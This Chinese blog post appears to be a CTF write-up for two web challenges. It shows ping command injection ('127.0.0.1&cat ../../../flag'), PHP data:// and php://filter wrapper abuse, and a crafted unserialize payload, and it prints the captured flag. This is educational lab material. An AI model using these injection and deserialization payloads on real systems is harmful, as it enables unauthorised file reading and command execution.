持续创作,加速成长!这是我参与「掘金日新计划 · 6 月更文挑战」的第9天,点击查看活动详情
[ACTF2020 新生赛]Exec
开局给了个ping框,我们试一试ping本地127.0.0.1
ping成功,接下来我们试一试用ls查看下
127.0.0.1&ls
查看成功
没有flag,所以猜测不在该目录下
那我们试一试上级目录
127.0.0.1&ls ../ //还是没有,所以继续
加了三个之后发现flag
127.0.0.1&ls ../../../
我们尝试查看
127.0.0.1&cat ../../../flag
直接出了flag
[ZJCTF 2019]NiZhuanSiWei
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
首先第一个绕过是将传入的text参数到file_get_contents且返回welcome to the zjctf
网上搜索到可以利用data伪协议来确定返回的值
于是我们构造
将url改为:?xxx=data://text/plain;base64,想要file_get_contents()函数返回的值的base64编码
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
下一个绕过正则匹配,传入file的值不能包含flag,所以文件包含读取flag时行不通的,由于给出了useless.php所以我们尝试读取一下·1
直接读取不出来,我们尝试一下php://filter协议
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php
对其进行base64解码
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
为了绕过toString,我们直接将file值确定为flag.php
<?php
class Flag{ //flag.php
public $file='flag.php;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
$password=new Flag();
$password = serialize($password);
echo $password;
?>
本地执行一下
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
然后我们构造payload
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
但不知是哪出错了,后来经搜查发现,由于第二个绕过有文件包含不用再加php://filter协议了
所以构造payload
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
f12发现flag
flag{f8a1e67b-9064-46cd-a815-fb83d6d8082b}